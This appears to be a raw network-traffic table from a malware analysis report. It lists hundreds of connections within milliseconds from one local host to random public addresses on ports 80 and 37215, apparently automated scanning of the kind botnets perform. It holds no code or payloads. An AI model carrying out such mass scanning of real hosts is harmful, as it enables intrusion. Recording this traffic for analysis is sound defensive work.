Jan 30, 2025 10:43:01.225930929 CET	38885	80	192.168.2.13	152.74.203.101
Jan 30, 2025 10:43:01.225948095 CET	38885	80	192.168.2.13	170.174.156.28
Jan 30, 2025 10:43:01.225953102 CET	38885	80	192.168.2.13	82.194.168.195
Jan 30, 2025 10:43:01.225961924 CET	38885	80	192.168.2.13	199.107.154.14
Jan 30, 2025 10:43:01.225967884 CET	38885	80	192.168.2.13	94.72.188.252
Jan 30, 2025 10:43:01.225976944 CET	38885	80	192.168.2.13	223.215.76.119
Jan 30, 2025 10:43:01.225985050 CET	38885	80	192.168.2.13	72.223.131.0
Jan 30, 2025 10:43:01.225985050 CET	38885	80	192.168.2.13	144.92.168.30
Jan 30, 2025 10:43:01.225985050 CET	38885	80	192.168.2.13	218.81.7.15
Jan 30, 2025 10:43:01.226017952 CET	38885	80	192.168.2.13	156.250.164.199
Jan 30, 2025 10:43:01.226017952 CET	38885	80	192.168.2.13	175.16.188.221
Jan 30, 2025 10:43:01.226018906 CET	38885	80	192.168.2.13	120.203.103.114
Jan 30, 2025 10:43:01.226018906 CET	38885	80	192.168.2.13	146.161.34.170
Jan 30, 2025 10:43:01.226018906 CET	38885	80	192.168.2.13	192.243.28.225
Jan 30, 2025 10:43:01.226018906 CET	38885	80	192.168.2.13	38.88.12.37
Jan 30, 2025 10:43:01.226057053 CET	38885	80	192.168.2.13	19.97.146.29
Jan 30, 2025 10:43:01.226082087 CET	38885	80	192.168.2.13	135.17.171.40
Jan 30, 2025 10:43:01.226082087 CET	38885	80	192.168.2.13	147.195.135.30
Jan 30, 2025 10:43:01.226085901 CET	38885	80	192.168.2.13	138.68.125.78
Jan 30, 2025 10:43:01.226085901 CET	38885	80	192.168.2.13	109.34.26.70
Jan 30, 2025 10:43:01.226085901 CET	38885	80	192.168.2.13	136.179.85.143
Jan 30, 2025 10:43:01.226088047 CET	38885	80	192.168.2.13	51.248.198.92
Jan 30, 2025 10:43:01.226088047 CET	38885	80	192.168.2.13	191.243.130.114
Jan 30, 2025 10:43:01.226088047 CET	38885	80	192.168.2.13	147.198.66.131
Jan 30, 2025 10:43:01.226092100 CET	38885	80	192.168.2.13	205.15.226.185
Jan 30, 2025 10:43:01.226092100 CET	38885	80	192.168.2.13	197.189.215.81
Jan 30, 2025 10:43:01.226092100 CET	38885	80	192.168.2.13	132.246.115.22
Jan 30, 2025 10:43:01.226094961 CET	38885	80	192.168.2.13	97.70.90.78
Jan 30, 2025 10:43:01.226109982 CET	38885	80	192.168.2.13	44.150.226.64
Jan 30, 2025 10:43:01.226110935 CET	38885	80	192.168.2.13	126.190.171.245
Jan 30, 2025 10:43:01.226119995 CET	38885	80	192.168.2.13	135.88.220.191
Jan 30, 2025 10:43:01.226119995 CET	38885	80	192.168.2.13	101.10.242.89
Jan 30, 2025 10:43:01.226125956 CET	38885	80	192.168.2.13	27.125.194.230
Jan 30, 2025 10:43:01.226125956 CET	38885	80	192.168.2.13	52.123.184.34
Jan 30, 2025 10:43:01.226125956 CET	38885	80	192.168.2.13	121.101.186.67
Jan 30, 2025 10:43:01.226131916 CET	38885	80	192.168.2.13	89.121.219.14
Jan 30, 2025 10:43:01.226131916 CET	38885	80	192.168.2.13	58.56.114.10
Jan 30, 2025 10:43:01.226134062 CET	38885	80	192.168.2.13	208.152.18.20
Jan 30, 2025 10:43:01.226134062 CET	38885	80	192.168.2.13	216.156.184.102
Jan 30, 2025 10:43:01.226144075 CET	38885	80	192.168.2.13	104.223.30.67
Jan 30, 2025 10:43:01.226144075 CET	38885	80	192.168.2.13	109.54.228.155
Jan 30, 2025 10:43:01.226162910 CET	38885	80	192.168.2.13	145.146.144.8
Jan 30, 2025 10:43:01.226166010 CET	38885	80	192.168.2.13	212.188.194.178
Jan 30, 2025 10:43:01.226166010 CET	38885	80	192.168.2.13	39.169.243.44
Jan 30, 2025 10:43:01.226170063 CET	38885	80	192.168.2.13	78.216.237.103
Jan 30, 2025 10:43:01.226170063 CET	38885	80	192.168.2.13	102.254.113.90
Jan 30, 2025 10:43:01.226170063 CET	38885	80	192.168.2.13	159.70.205.101
Jan 30, 2025 10:43:01.226171017 CET	38885	80	192.168.2.13	60.254.96.81
Jan 30, 2025 10:43:01.226170063 CET	38885	80	192.168.2.13	193.104.33.239
Jan 30, 2025 10:43:01.226170063 CET	38885	80	192.168.2.13	94.82.161.225
Jan 30, 2025 10:43:01.226175070 CET	38885	80	192.168.2.13	97.202.111.79
Jan 30, 2025 10:43:01.226175070 CET	38885	80	192.168.2.13	70.122.210.39
Jan 30, 2025 10:43:01.226175070 CET	38885	80	192.168.2.13	123.33.197.47
Jan 30, 2025 10:43:01.226176023 CET	38885	80	192.168.2.13	221.81.65.43
Jan 30, 2025 10:43:01.226176023 CET	38885	80	192.168.2.13	140.163.162.226
Jan 30, 2025 10:43:01.226176023 CET	38885	80	192.168.2.13	63.202.27.3
Jan 30, 2025 10:43:01.226176023 CET	38885	80	192.168.2.13	167.83.198.74
Jan 30, 2025 10:43:01.226176977 CET	38885	80	192.168.2.13	161.84.183.109
Jan 30, 2025 10:43:01.226186037 CET	38885	80	192.168.2.13	77.14.201.231
Jan 30, 2025 10:43:01.226186991 CET	38885	80	192.168.2.13	162.153.163.221
Jan 30, 2025 10:43:01.226188898 CET	38885	80	192.168.2.13	110.8.114.167
Jan 30, 2025 10:43:01.226186991 CET	38885	80	192.168.2.13	103.75.205.74
Jan 30, 2025 10:43:01.226188898 CET	38885	80	192.168.2.13	94.15.208.43
Jan 30, 2025 10:43:01.226188898 CET	38885	80	192.168.2.13	146.202.30.2
Jan 30, 2025 10:43:01.226188898 CET	38885	80	192.168.2.13	197.66.48.228
Jan 30, 2025 10:43:01.226188898 CET	38885	80	192.168.2.13	69.2.155.122
Jan 30, 2025 10:43:01.226188898 CET	38885	80	192.168.2.13	64.87.100.157
Jan 30, 2025 10:43:01.226217031 CET	38885	80	192.168.2.13	171.119.23.79
Jan 30, 2025 10:43:01.226219893 CET	38885	80	192.168.2.13	24.10.202.54
Jan 30, 2025 10:43:01.226221085 CET	38885	80	192.168.2.13	67.41.129.163
Jan 30, 2025 10:43:01.226221085 CET	38885	80	192.168.2.13	118.6.221.185
Jan 30, 2025 10:43:01.226221085 CET	38885	80	192.168.2.13	217.91.113.81
Jan 30, 2025 10:43:01.226221085 CET	38885	80	192.168.2.13	60.12.41.240
Jan 30, 2025 10:43:01.226221085 CET	38885	80	192.168.2.13	34.78.14.103
Jan 30, 2025 10:43:01.226221085 CET	38885	80	192.168.2.13	185.58.226.86
Jan 30, 2025 10:43:01.226222992 CET	38885	80	192.168.2.13	101.14.155.103
Jan 30, 2025 10:43:01.226222992 CET	38885	80	192.168.2.13	182.2.139.166
Jan 30, 2025 10:43:01.226223946 CET	38885	80	192.168.2.13	94.49.193.157
Jan 30, 2025 10:43:01.226223946 CET	38885	80	192.168.2.13	20.2.244.44
Jan 30, 2025 10:43:01.226227045 CET	38885	80	192.168.2.13	166.42.242.246
Jan 30, 2025 10:43:01.226227045 CET	38885	80	192.168.2.13	124.229.221.223
Jan 30, 2025 10:43:01.226227045 CET	38885	80	192.168.2.13	115.172.196.16
Jan 30, 2025 10:43:01.226227045 CET	38885	80	192.168.2.13	120.57.149.206
Jan 30, 2025 10:43:01.226232052 CET	38885	80	192.168.2.13	44.231.20.6
Jan 30, 2025 10:43:01.226227999 CET	38885	80	192.168.2.13	76.198.48.35
Jan 30, 2025 10:43:01.226227045 CET	38885	80	192.168.2.13	50.156.133.139
Jan 30, 2025 10:43:01.226228952 CET	38885	80	192.168.2.13	188.152.220.155
Jan 30, 2025 10:43:01.226228952 CET	38885	80	192.168.2.13	194.4.118.147
Jan 30, 2025 10:43:01.226228952 CET	38885	80	192.168.2.13	91.20.105.183
Jan 30, 2025 10:43:01.226244926 CET	38885	80	192.168.2.13	64.47.79.29
Jan 30, 2025 10:43:01.226244926 CET	38885	80	192.168.2.13	69.23.140.217
Jan 30, 2025 10:43:01.226264954 CET	38885	80	192.168.2.13	203.156.188.136
Jan 30, 2025 10:43:01.226264954 CET	38885	80	192.168.2.13	221.195.17.182
Jan 30, 2025 10:43:01.226268053 CET	38885	80	192.168.2.13	84.103.149.170
Jan 30, 2025 10:43:01.226269007 CET	38885	80	192.168.2.13	34.97.169.237
Jan 30, 2025 10:43:01.226270914 CET	38885	80	192.168.2.13	25.181.129.220
Jan 30, 2025 10:43:01.226269007 CET	38885	80	192.168.2.13	78.171.71.51
Jan 30, 2025 10:43:01.226270914 CET	38885	80	192.168.2.13	104.150.109.165
Jan 30, 2025 10:43:01.226270914 CET	38885	80	192.168.2.13	217.65.112.228
Jan 30, 2025 10:43:01.226269007 CET	38885	80	192.168.2.13	154.21.255.149
Jan 30, 2025 10:43:01.226270914 CET	38885	80	192.168.2.13	187.136.174.89
Jan 30, 2025 10:43:01.226274967 CET	38885	80	192.168.2.13	223.188.255.235
Jan 30, 2025 10:43:01.226279974 CET	38885	80	192.168.2.13	67.110.254.167
Jan 30, 2025 10:43:01.226279974 CET	38885	80	192.168.2.13	170.217.59.196
Jan 30, 2025 10:43:01.226279974 CET	38885	80	192.168.2.13	183.157.100.227
Jan 30, 2025 10:43:01.226290941 CET	38885	80	192.168.2.13	99.31.129.140
Jan 30, 2025 10:43:01.226290941 CET	38885	80	192.168.2.13	95.227.94.93
Jan 30, 2025 10:43:01.226290941 CET	38885	80	192.168.2.13	191.33.80.22
Jan 30, 2025 10:43:01.226290941 CET	38885	80	192.168.2.13	219.6.230.54
Jan 30, 2025 10:43:01.226293087 CET	38885	80	192.168.2.13	176.212.61.80
Jan 30, 2025 10:43:01.226293087 CET	38885	80	192.168.2.13	44.44.155.90
Jan 30, 2025 10:43:01.226294041 CET	38885	80	192.168.2.13	115.186.3.61
Jan 30, 2025 10:43:01.226294041 CET	38885	80	192.168.2.13	164.101.179.157
Jan 30, 2025 10:43:01.226319075 CET	38885	80	192.168.2.13	199.218.30.162
Jan 30, 2025 10:43:01.226336956 CET	38885	80	192.168.2.13	209.200.229.102
Jan 30, 2025 10:43:01.226336956 CET	38885	80	192.168.2.13	223.217.157.250
Jan 30, 2025 10:43:01.226336956 CET	38885	80	192.168.2.13	121.170.152.8
Jan 30, 2025 10:43:01.226337910 CET	38885	80	192.168.2.13	35.163.66.157
Jan 30, 2025 10:43:01.226339102 CET	38885	80	192.168.2.13	2.103.233.87
Jan 30, 2025 10:43:01.226339102 CET	38885	80	192.168.2.13	27.52.66.240
Jan 30, 2025 10:43:01.226339102 CET	38885	80	192.168.2.13	73.140.237.128
Jan 30, 2025 10:43:01.226339102 CET	38885	80	192.168.2.13	12.107.215.32
Jan 30, 2025 10:43:01.226339102 CET	38885	80	192.168.2.13	97.36.124.185
Jan 30, 2025 10:43:01.226342916 CET	38885	80	192.168.2.13	48.164.230.153
Jan 30, 2025 10:43:01.226342916 CET	38885	80	192.168.2.13	156.82.63.207
Jan 30, 2025 10:43:01.226342916 CET	38885	80	192.168.2.13	2.129.59.36
Jan 30, 2025 10:43:01.226346970 CET	38885	80	192.168.2.13	168.55.222.37
Jan 30, 2025 10:43:01.226346970 CET	38885	80	192.168.2.13	223.66.101.38
Jan 30, 2025 10:43:01.226346970 CET	38885	80	192.168.2.13	122.49.237.145
Jan 30, 2025 10:43:01.226346970 CET	38885	80	192.168.2.13	19.206.143.44
Jan 30, 2025 10:43:01.226347923 CET	38885	80	192.168.2.13	170.36.32.111
Jan 30, 2025 10:43:01.226347923 CET	38885	80	192.168.2.13	171.111.232.81
Jan 30, 2025 10:43:01.226347923 CET	38885	80	192.168.2.13	87.0.137.68
Jan 30, 2025 10:43:01.226347923 CET	38885	80	192.168.2.13	181.51.200.142
Jan 30, 2025 10:43:01.226347923 CET	38885	80	192.168.2.13	27.149.236.68
Jan 30, 2025 10:43:01.226347923 CET	38885	80	192.168.2.13	146.244.71.199
Jan 30, 2025 10:43:01.226347923 CET	38885	80	192.168.2.13	122.217.131.177
Jan 30, 2025 10:43:01.226351976 CET	38885	80	192.168.2.13	148.91.8.247
Jan 30, 2025 10:43:01.226351976 CET	38885	80	192.168.2.13	163.68.11.237
Jan 30, 2025 10:43:01.226351976 CET	38885	80	192.168.2.13	207.195.128.136
Jan 30, 2025 10:43:01.226351976 CET	38885	80	192.168.2.13	218.220.155.23
Jan 30, 2025 10:43:01.226351976 CET	38885	80	192.168.2.13	209.89.249.139
Jan 30, 2025 10:43:01.226357937 CET	38885	80	192.168.2.13	84.20.183.21
Jan 30, 2025 10:43:01.226357937 CET	38885	80	192.168.2.13	160.50.142.115
Jan 30, 2025 10:43:01.226357937 CET	38885	80	192.168.2.13	77.116.201.51
Jan 30, 2025 10:43:01.226357937 CET	38885	80	192.168.2.13	51.233.218.197
Jan 30, 2025 10:43:01.226399899 CET	38885	80	192.168.2.13	172.170.12.90
Jan 30, 2025 10:43:01.226399899 CET	38885	80	192.168.2.13	132.247.246.177
Jan 30, 2025 10:43:01.226399899 CET	38885	80	192.168.2.13	113.12.254.228
Jan 30, 2025 10:43:01.226399899 CET	38885	80	192.168.2.13	134.11.13.38
Jan 30, 2025 10:43:01.226399899 CET	38885	80	192.168.2.13	154.190.33.23
Jan 30, 2025 10:43:01.226402044 CET	38885	80	192.168.2.13	139.204.241.46
Jan 30, 2025 10:43:01.226402044 CET	38885	80	192.168.2.13	121.54.43.187
Jan 30, 2025 10:43:01.226402044 CET	38885	80	192.168.2.13	194.154.77.204
Jan 30, 2025 10:43:01.226402044 CET	38885	80	192.168.2.13	118.141.197.19
Jan 30, 2025 10:43:01.226402998 CET	38885	80	192.168.2.13	9.45.188.189
Jan 30, 2025 10:43:01.226406097 CET	38885	80	192.168.2.13	101.202.222.128
Jan 30, 2025 10:43:01.226406097 CET	38885	80	192.168.2.13	86.45.163.18
Jan 30, 2025 10:43:01.226406097 CET	38885	80	192.168.2.13	101.190.120.234
Jan 30, 2025 10:43:01.226406097 CET	38885	80	192.168.2.13	156.253.183.195
Jan 30, 2025 10:43:01.226408005 CET	38885	80	192.168.2.13	189.205.161.27
Jan 30, 2025 10:43:01.226406097 CET	38885	80	192.168.2.13	178.202.190.145
Jan 30, 2025 10:43:01.226408005 CET	38885	80	192.168.2.13	142.161.180.111
Jan 30, 2025 10:43:01.226408005 CET	38885	80	192.168.2.13	68.124.145.8
Jan 30, 2025 10:43:01.226408958 CET	38885	80	192.168.2.13	119.134.155.224
Jan 30, 2025 10:43:01.226408005 CET	38885	80	192.168.2.13	43.194.16.138
Jan 30, 2025 10:43:01.226408958 CET	38885	80	192.168.2.13	66.129.185.199
Jan 30, 2025 10:43:01.226408958 CET	38885	80	192.168.2.13	117.175.181.235
Jan 30, 2025 10:43:01.226408958 CET	38885	80	192.168.2.13	91.16.63.26
Jan 30, 2025 10:43:01.226413012 CET	38885	80	192.168.2.13	158.200.85.70
Jan 30, 2025 10:43:01.226408958 CET	38885	80	192.168.2.13	175.157.110.41
Jan 30, 2025 10:43:01.226413012 CET	38885	80	192.168.2.13	195.68.250.1
Jan 30, 2025 10:43:01.226409912 CET	38885	80	192.168.2.13	51.215.114.107
Jan 30, 2025 10:43:01.226409912 CET	38885	80	192.168.2.13	195.7.87.64
Jan 30, 2025 10:43:01.226409912 CET	38885	80	192.168.2.13	174.39.81.125
Jan 30, 2025 10:43:01.226421118 CET	38885	80	192.168.2.13	23.230.139.203
Jan 30, 2025 10:43:01.226421118 CET	38885	80	192.168.2.13	24.86.95.18
Jan 30, 2025 10:43:01.226421118 CET	38885	80	192.168.2.13	46.83.90.146
Jan 30, 2025 10:43:01.226421118 CET	38885	80	192.168.2.13	131.158.183.241
Jan 30, 2025 10:43:01.226421118 CET	38885	80	192.168.2.13	148.185.2.7
Jan 30, 2025 10:43:01.226422071 CET	38885	80	192.168.2.13	124.242.20.158
Jan 30, 2025 10:43:01.226422071 CET	38885	80	192.168.2.13	119.32.90.244
Jan 30, 2025 10:43:01.226422071 CET	38885	80	192.168.2.13	120.188.122.66
Jan 30, 2025 10:43:01.226452112 CET	38885	80	192.168.2.13	195.37.63.93
Jan 30, 2025 10:43:01.226452112 CET	38885	80	192.168.2.13	201.245.226.15
Jan 30, 2025 10:43:01.226453066 CET	38885	80	192.168.2.13	80.46.110.142
Jan 30, 2025 10:43:01.226470947 CET	38885	80	192.168.2.13	216.7.72.45
Jan 30, 2025 10:43:01.226470947 CET	38885	80	192.168.2.13	156.47.6.13
Jan 30, 2025 10:43:01.226471901 CET	38885	80	192.168.2.13	139.134.231.222
Jan 30, 2025 10:43:01.226471901 CET	38885	80	192.168.2.13	40.171.34.109
Jan 30, 2025 10:43:01.226471901 CET	38885	80	192.168.2.13	160.51.240.71
Jan 30, 2025 10:43:01.226471901 CET	38885	80	192.168.2.13	45.212.6.130
Jan 30, 2025 10:43:01.226471901 CET	38885	80	192.168.2.13	148.115.241.75
Jan 30, 2025 10:43:01.226471901 CET	38885	80	192.168.2.13	169.98.169.216
Jan 30, 2025 10:43:01.226471901 CET	38885	80	192.168.2.13	161.121.98.39
Jan 30, 2025 10:43:01.226471901 CET	38885	80	192.168.2.13	169.83.94.118
Jan 30, 2025 10:43:01.226475954 CET	38885	80	192.168.2.13	104.158.247.92
Jan 30, 2025 10:43:01.226475954 CET	38885	80	192.168.2.13	109.74.38.82
Jan 30, 2025 10:43:01.226475954 CET	38885	80	192.168.2.13	188.100.45.162
Jan 30, 2025 10:43:01.226475954 CET	38885	80	192.168.2.13	222.154.151.152
Jan 30, 2025 10:43:01.226479053 CET	38885	80	192.168.2.13	94.157.223.193
Jan 30, 2025 10:43:01.226475954 CET	38885	80	192.168.2.13	57.193.232.106
Jan 30, 2025 10:43:01.226479053 CET	38885	80	192.168.2.13	132.232.159.91
Jan 30, 2025 10:43:01.226475954 CET	38885	80	192.168.2.13	178.221.128.133
Jan 30, 2025 10:43:01.226481915 CET	38885	80	192.168.2.13	197.216.43.129
Jan 30, 2025 10:43:01.226475954 CET	38885	80	192.168.2.13	169.186.164.115
Jan 30, 2025 10:43:01.226481915 CET	38885	80	192.168.2.13	99.209.196.228
Jan 30, 2025 10:43:01.226475954 CET	38885	80	192.168.2.13	209.202.93.204
Jan 30, 2025 10:43:01.226476908 CET	38885	80	192.168.2.13	40.45.223.184
Jan 30, 2025 10:43:01.226475954 CET	38885	80	192.168.2.13	81.203.67.171
Jan 30, 2025 10:43:01.226481915 CET	38885	80	192.168.2.13	119.185.165.230
Jan 30, 2025 10:43:01.226476908 CET	38885	80	192.168.2.13	50.73.94.37
Jan 30, 2025 10:43:01.226476908 CET	38885	80	192.168.2.13	162.47.154.61
Jan 30, 2025 10:43:01.226476908 CET	38885	80	192.168.2.13	178.38.106.83
Jan 30, 2025 10:43:01.226481915 CET	38885	80	192.168.2.13	155.249.162.84
Jan 30, 2025 10:43:01.226481915 CET	38885	80	192.168.2.13	84.158.134.30
Jan 30, 2025 10:43:01.226481915 CET	38885	80	192.168.2.13	121.167.126.122
Jan 30, 2025 10:43:01.226481915 CET	38885	80	192.168.2.13	212.10.165.240
Jan 30, 2025 10:43:01.226499081 CET	38885	80	192.168.2.13	200.129.23.12
Jan 30, 2025 10:43:01.226499081 CET	38885	80	192.168.2.13	78.179.47.131
Jan 30, 2025 10:43:01.226504087 CET	38885	80	192.168.2.13	108.130.107.208
Jan 30, 2025 10:43:01.226519108 CET	38885	80	192.168.2.13	188.250.69.83
Jan 30, 2025 10:43:01.226519108 CET	38885	80	192.168.2.13	190.46.132.135
Jan 30, 2025 10:43:01.226519108 CET	38885	80	192.168.2.13	117.23.189.226
Jan 30, 2025 10:43:01.226519108 CET	38885	80	192.168.2.13	79.226.114.62
Jan 30, 2025 10:43:01.226519108 CET	38885	80	192.168.2.13	130.11.197.108
Jan 30, 2025 10:43:01.226526976 CET	38885	80	192.168.2.13	46.61.68.227
Jan 30, 2025 10:43:01.226526976 CET	38885	80	192.168.2.13	85.236.54.120
Jan 30, 2025 10:43:01.226526976 CET	38885	80	192.168.2.13	160.30.161.2
Jan 30, 2025 10:43:01.226526976 CET	38885	80	192.168.2.13	216.125.87.29
Jan 30, 2025 10:43:01.226526976 CET	38885	80	192.168.2.13	97.55.137.206
Jan 30, 2025 10:43:01.226526976 CET	38885	80	192.168.2.13	71.70.2.94
Jan 30, 2025 10:43:01.226531029 CET	38885	80	192.168.2.13	32.136.228.8
Jan 30, 2025 10:43:01.226531029 CET	38885	80	192.168.2.13	48.146.180.101
Jan 30, 2025 10:43:01.226531029 CET	38885	80	192.168.2.13	115.103.58.122
Jan 30, 2025 10:43:01.226531982 CET	38885	80	192.168.2.13	105.166.90.95
Jan 30, 2025 10:43:01.226531029 CET	38885	80	192.168.2.13	206.146.103.159
Jan 30, 2025 10:43:01.226531982 CET	38885	80	192.168.2.13	133.49.140.227
Jan 30, 2025 10:43:01.226531982 CET	38885	80	192.168.2.13	12.243.250.229
Jan 30, 2025 10:43:01.226531982 CET	38885	80	192.168.2.13	170.34.171.175
Jan 30, 2025 10:43:01.226532936 CET	38885	80	192.168.2.13	96.90.220.5
Jan 30, 2025 10:43:01.226531982 CET	38885	80	192.168.2.13	121.88.98.252
Jan 30, 2025 10:43:01.226532936 CET	38885	80	192.168.2.13	209.2.37.68
Jan 30, 2025 10:43:01.226533890 CET	38885	80	192.168.2.13	83.221.46.37
Jan 30, 2025 10:43:01.226533890 CET	38885	80	192.168.2.13	186.232.83.143
Jan 30, 2025 10:43:01.226538897 CET	38885	80	192.168.2.13	66.127.18.203
Jan 30, 2025 10:43:01.226538897 CET	38885	80	192.168.2.13	191.208.241.77
Jan 30, 2025 10:43:01.226533890 CET	38885	80	192.168.2.13	180.199.115.110
Jan 30, 2025 10:43:01.226538897 CET	38885	80	192.168.2.13	31.161.32.144
Jan 30, 2025 10:43:01.226538897 CET	38885	80	192.168.2.13	165.207.67.56
Jan 30, 2025 10:43:01.226533890 CET	38885	80	192.168.2.13	91.175.139.168
Jan 30, 2025 10:43:01.226533890 CET	38885	80	192.168.2.13	167.42.235.92
Jan 30, 2025 10:43:01.226545095 CET	38885	80	192.168.2.13	64.3.38.252
Jan 30, 2025 10:43:01.226545095 CET	38885	80	192.168.2.13	53.59.75.112
Jan 30, 2025 10:43:01.226552963 CET	38885	80	192.168.2.13	76.186.178.230
Jan 30, 2025 10:43:01.226552963 CET	38885	80	192.168.2.13	17.186.46.117
Jan 30, 2025 10:43:01.226552963 CET	38885	80	192.168.2.13	171.237.199.7
Jan 30, 2025 10:43:01.226587057 CET	38885	80	192.168.2.13	120.140.163.240
Jan 30, 2025 10:43:01.226587057 CET	38885	80	192.168.2.13	157.29.130.40
Jan 30, 2025 10:43:01.226588011 CET	38885	80	192.168.2.13	220.164.253.134
Jan 30, 2025 10:43:01.226587057 CET	38885	80	192.168.2.13	52.244.139.87
Jan 30, 2025 10:43:01.226588011 CET	38885	80	192.168.2.13	184.21.189.188
Jan 30, 2025 10:43:01.226588011 CET	38885	80	192.168.2.13	86.148.16.151
Jan 30, 2025 10:43:01.226588964 CET	38885	80	192.168.2.13	77.205.232.14
Jan 30, 2025 10:43:01.226587057 CET	38885	80	192.168.2.13	75.3.169.174
Jan 30, 2025 10:43:01.226588964 CET	38885	80	192.168.2.13	161.227.119.175
Jan 30, 2025 10:43:01.226588011 CET	38885	80	192.168.2.13	123.2.153.201
Jan 30, 2025 10:43:01.226588964 CET	38885	80	192.168.2.13	90.121.216.213
Jan 30, 2025 10:43:01.226588011 CET	38885	80	192.168.2.13	166.199.28.176
Jan 30, 2025 10:43:01.226588011 CET	38885	80	192.168.2.13	1.108.19.233
Jan 30, 2025 10:43:01.226589918 CET	38885	80	192.168.2.13	206.56.231.170
Jan 30, 2025 10:43:01.226588964 CET	38885	80	192.168.2.13	205.133.159.232
Jan 30, 2025 10:43:01.226588964 CET	38885	80	192.168.2.13	67.67.184.247
Jan 30, 2025 10:43:01.226589918 CET	38885	80	192.168.2.13	204.196.127.167
Jan 30, 2025 10:43:01.226588964 CET	38885	80	192.168.2.13	57.94.34.169
Jan 30, 2025 10:43:01.226589918 CET	38885	80	192.168.2.13	48.48.94.186
Jan 30, 2025 10:43:01.226599932 CET	38885	80	192.168.2.13	46.65.153.238
Jan 30, 2025 10:43:01.226602077 CET	38885	80	192.168.2.13	89.39.7.92
Jan 30, 2025 10:43:01.226603985 CET	38885	80	192.168.2.13	169.227.43.154
Jan 30, 2025 10:43:01.226603985 CET	38885	80	192.168.2.13	186.93.36.48
Jan 30, 2025 10:43:01.226603985 CET	38885	80	192.168.2.13	129.207.48.235
Jan 30, 2025 10:43:01.226610899 CET	38885	80	192.168.2.13	122.166.172.120
Jan 30, 2025 10:43:01.226615906 CET	38885	80	192.168.2.13	17.251.77.221
Jan 30, 2025 10:43:01.226615906 CET	38885	80	192.168.2.13	174.218.128.112
Jan 30, 2025 10:43:01.226615906 CET	38885	80	192.168.2.13	172.173.50.226
Jan 30, 2025 10:43:01.226615906 CET	38885	80	192.168.2.13	123.230.119.70
Jan 30, 2025 10:43:01.226615906 CET	38885	80	192.168.2.13	71.209.255.144
Jan 30, 2025 10:43:01.226615906 CET	38885	80	192.168.2.13	167.51.116.118
Jan 30, 2025 10:43:01.226756096 CET	55348	37215	192.168.2.13	41.186.113.132
Jan 30, 2025 10:43:01.226793051 CET	38811	37215	192.168.2.13	197.167.227.77
Jan 30, 2025 10:43:01.226802111 CET	38811	37215	192.168.2.13	197.239.217.104
Jan 30, 2025 10:43:01.226802111 CET	38811	37215	192.168.2.13	156.225.120.127
Jan 30, 2025 10:43:01.226802111 CET	38811	37215	192.168.2.13	156.66.169.156
Jan 30, 2025 10:43:01.226814032 CET	38811	37215	192.168.2.13	197.212.23.167
Jan 30, 2025 10:43:01.226819992 CET	38811	37215	192.168.2.13	41.179.181.47
Jan 30, 2025 10:43:01.226846933 CET	38811	37215	192.168.2.13	197.193.30.3
Jan 30, 2025 10:43:01.226850033 CET	38811	37215	192.168.2.13	41.131.75.180
Jan 30, 2025 10:43:01.226850986 CET	38811	37215	192.168.2.13	156.202.39.4
Jan 30, 2025 10:43:01.226852894 CET	38811	37215	192.168.2.13	156.71.76.245
Jan 30, 2025 10:43:01.226871014 CET	38811	37215	192.168.2.13	41.136.156.112
Jan 30, 2025 10:43:01.226871014 CET	38811	37215	192.168.2.13	197.92.165.73
Jan 30, 2025 10:43:01.226872921 CET	38811	37215	192.168.2.13	197.148.184.196
Jan 30, 2025 10:43:01.226876020 CET	38811	37215	192.168.2.13	41.19.57.132
Jan 30, 2025 10:43:01.226876974 CET	38811	37215	192.168.2.13	197.249.71.99
Jan 30, 2025 10:43:01.226877928 CET	38811	37215	192.168.2.13	156.97.244.100
Jan 30, 2025 10:43:01.226876974 CET	38811	37215	192.168.2.13	41.226.171.177
Jan 30, 2025 10:43:01.226876974 CET	38811	37215	192.168.2.13	156.254.145.189
Jan 30, 2025 10:43:01.226883888 CET	38811	37215	192.168.2.13	41.235.92.68
Jan 30, 2025 10:43:01.226900101 CET	38811	37215	192.168.2.13	197.117.171.203
Jan 30, 2025 10:43:01.226912022 CET	38811	37215	192.168.2.13	156.188.209.19
Jan 30, 2025 10:43:01.226912022 CET	38811	37215	192.168.2.13	197.195.31.97
Jan 30, 2025 10:43:01.226913929 CET	38811	37215	192.168.2.13	41.145.52.61
Jan 30, 2025 10:43:01.226914883 CET	38811	37215	192.168.2.13	41.228.29.234
Jan 30, 2025 10:43:01.226923943 CET	38811	37215	192.168.2.13	197.165.88.150
Jan 30, 2025 10:43:01.226931095 CET	38811	37215	192.168.2.13	41.245.240.203
Jan 30, 2025 10:43:01.226941109 CET	38811	37215	192.168.2.13	156.119.33.35
Jan 30, 2025 10:43:01.226948023 CET	38811	37215	192.168.2.13	197.68.185.40
Jan 30, 2025 10:43:01.226950884 CET	38811	37215	192.168.2.13	197.98.240.60
Jan 30, 2025 10:43:01.226954937 CET	38811	37215	192.168.2.13	41.139.89.94
Jan 30, 2025 10:43:01.226958036 CET	38811	37215	192.168.2.13	156.125.18.17
Jan 30, 2025 10:43:01.226958990 CET	38811	37215	192.168.2.13	41.0.195.118
Jan 30, 2025 10:43:01.226962090 CET	38811	37215	192.168.2.13	41.221.26.60
Jan 30, 2025 10:43:01.226974010 CET	38811	37215	192.168.2.13	197.129.68.48
Jan 30, 2025 10:43:01.226975918 CET	38811	37215	192.168.2.13	197.177.227.52
Jan 30, 2025 10:43:01.226983070 CET	38811	37215	192.168.2.13	197.193.43.26
Jan 30, 2025 10:43:01.226984024 CET	38811	37215	192.168.2.13	197.74.205.201
Jan 30, 2025 10:43:01.226986885 CET	38811	37215	192.168.2.13	197.108.122.93
Jan 30, 2025 10:43:01.226989031 CET	38811	37215	192.168.2.13	156.209.124.30
Jan 30, 2025 10:43:01.226994991 CET	38811	37215	192.168.2.13	41.89.231.62
Jan 30, 2025 10:43:01.227008104 CET	38811	37215	192.168.2.13	41.133.11.239
Jan 30, 2025 10:43:01.227013111 CET	38811	37215	192.168.2.13	197.211.187.163
Jan 30, 2025 10:43:01.227019072 CET	38811	37215	192.168.2.13	197.116.118.93
Jan 30, 2025 10:43:01.227030039 CET	38811	37215	192.168.2.13	197.95.151.41
Jan 30, 2025 10:43:01.227030993 CET	38811	37215	192.168.2.13	156.244.190.92
Jan 30, 2025 10:43:01.227041960 CET	38811	37215	192.168.2.13	41.114.140.224
Jan 30, 2025 10:43:01.227045059 CET	38811	37215	192.168.2.13	156.42.44.107
Jan 30, 2025 10:43:01.227046013 CET	38811	37215	192.168.2.13	41.122.79.161
Jan 30, 2025 10:43:01.227052927 CET	38811	37215	192.168.2.13	41.140.91.82
Jan 30, 2025 10:43:01.227060080 CET	38811	37215	192.168.2.13	41.84.60.130
